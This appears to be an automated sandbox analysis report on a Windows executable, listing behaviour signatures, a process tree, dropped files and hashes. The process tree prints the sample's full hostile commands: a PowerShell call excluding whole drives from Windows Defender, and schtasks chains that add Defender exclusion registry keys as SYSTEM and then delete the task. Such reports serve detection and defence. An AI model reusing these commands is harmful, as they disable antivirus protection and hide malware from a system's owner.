Analysis

  • max time kernel
    148s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/07/2026, 02:00

General

  • Target
    appstep.58680018.exe
  • Size 54.3MB
  • Sample260722-cfcnpshf76
  • SHA256 266e830b92e8c43d43a4d138c09d32eee57d82ede21b882e8c46ddeed6574c7b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\appstep.58680018.exe
    "C:\Users\Admin\AppData\Local\Temp\appstep.58680018.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:3520
  • C:\Users\Public\mGS5AF\ixB3T2.exe
    "C:\Users\Public\mGS5AF\ixB3T2.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:2296
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mGS5AF\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4328
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\mGS5AF\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3316
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4452
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4428
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3876
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3824
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:1676
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2588
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5664
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4232
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2888
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5444
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5164
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5552
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3708
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2600
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4176
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1008
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:2560
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4684
                      • C:\Users\Public\mGS5AF\ixB3T2.exe
                        "C:\Users\Public\mGS5AF\ixB3T2.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5144
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mGS5AF" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        PID:2244
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\mGS5AF" /t REG_DWORD /d 0 /f
                          2⤵
                            PID:5320
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1120
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:2432
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:5372

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\mGS5AF\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 2933edfeb7abad759719a271f45c9554a853ed7dcaa89ce1d6d67322288eea01
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\mGS5AF\adoresd.dat
                                  • Size 4.8MB
                                  • SHA256 ace98a7cf50f175f9bf6681b07e3412c99e8945eb032323225567e5b4affd8c3
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  ixB3T2.exe

                                  • Path C:\Users\Public\mGS5AF\ixB3T2.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\mGS5AF\msadox.tb
                                  • Size 8KB
                                  • SHA256 60308a9f9d5e1f68c93dae057ce24169168e71a28e71f478278c3dc265d324e0
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/2296-602-0x0000013C13820000-0x0000013C1382A000-memory.dmp

                                  memory/2296-601-0x0000013C2BCA0000-0x0000013C2BD52000-memory.dmp

                                  memory/2296-600-0x0000013C2BC80000-0x0000013C2BC9E000-memory.dmp

                                  memory/2296-597-0x0000013C13790000-0x0000013C137B2000-memory.dmp

                                  memory/3520-526-0x00007FFE81620000-0x00007FFE81632000-memory.dmp

                                  memory/3520-525-0x00000000004D0000-0x00000000004DD000-memory.dmp

                                  memory/3520-503-0x00007FFE81620000-0x00007FFE81632000-memory.dmp

                                  memory/3520-0-0x00000000004D0000-0x00000000004DD000-memory.dmp

                                  memory/3520-1-0x00000000004E0000-0x00000000004EB000-memory.dmp

                                  memory/5144-581-0x000002125C6B0000-0x000002125CF6E000-memory.dmp

                                  memory/5144-591-0x000002125C6B0000-0x000002125CF6E000-memory.dmp

                                  memory/5144-593-0x0000021259F90000-0x000002125A4AE000-memory.dmp

                                  memory/5144-589-0x000002125C6B0000-0x000002125CF6E000-memory.dmp

                                  memory/5144-590-0x000002125C6B0000-0x000002125CF6E000-memory.dmp

                                  memory/5144-592-0x00007FFE89DB0000-0x00007FFE89DB2000-memory.dmp

                                  memory/5144-588-0x000002125C6B0000-0x000002125CF6E000-memory.dmp

                                  memory/5144-584-0x000002125C6B0000-0x000002125CF6E000-memory.dmp

                                  memory/5144-583-0x00007FFE89DC0000-0x00007FFE89DC2000-memory.dmp

                                  memory/5144-578-0x0000021259F90000-0x000002125A4AE000-memory.dmp

                                  memory/5144-577-0x00007FFE89DB0000-0x00007FFE89DB2000-memory.dmp

                                  memory/5980-559-0x0000028B8C000000-0x0000028B8C04E000-memory.dmp

                                  memory/5980-551-0x0000028B8A1F0000-0x0000028B8A70E000-memory.dmp

                                  memory/5980-569-0x0000028B8CB50000-0x0000028B8D40E000-memory.dmp

                                  memory/5980-553-0x0000028B8CB50000-0x0000028B8D40E000-memory.dmp

                                  memory/5980-562-0x0000028B8C0E0000-0x0000028B8C16A000-memory.dmp

                                  memory/5980-563-0x0000028B8C0E0000-0x0000028B8C16A000-memory.dmp

                                  memory/5980-541-0x0000028B8CB50000-0x0000028B8D40E000-memory.dmp

                                  memory/5980-564-0x0000028B8C0E0000-0x0000028B8C16A000-memory.dmp

                                  memory/5980-566-0x0000028B8CB50000-0x0000028B8D40E000-memory.dmp

                                  memory/5980-561-0x0000028B8C0E0000-0x0000028B8C16A000-memory.dmp

                                  memory/5980-570-0x0000028B8CB50000-0x0000028B8D40E000-memory.dmp

                                  memory/5980-545-0x0000028B8CB50000-0x0000028B8D40E000-memory.dmp

                                  memory/5980-548-0x0000028B8CB50000-0x0000028B8D40E000-memory.dmp

                                  memory/5980-547-0x0000028B8CB50000-0x0000028B8D40E000-memory.dmp

                                  memory/5980-546-0x0000028B8CB50000-0x0000028B8D40E000-memory.dmp

                                  memory/5980-540-0x00007FFE89DC0000-0x00007FFE89DC2000-memory.dmp

                                  memory/5980-538-0x0000028B8CB50000-0x0000028B8D40E000-memory.dmp

                                  memory/5980-533-0x0000028B8A1F0000-0x0000028B8A70E000-memory.dmp

                                  memory/5980-532-0x00007FFE89DB0000-0x00007FFE89DB2000-memory.dmp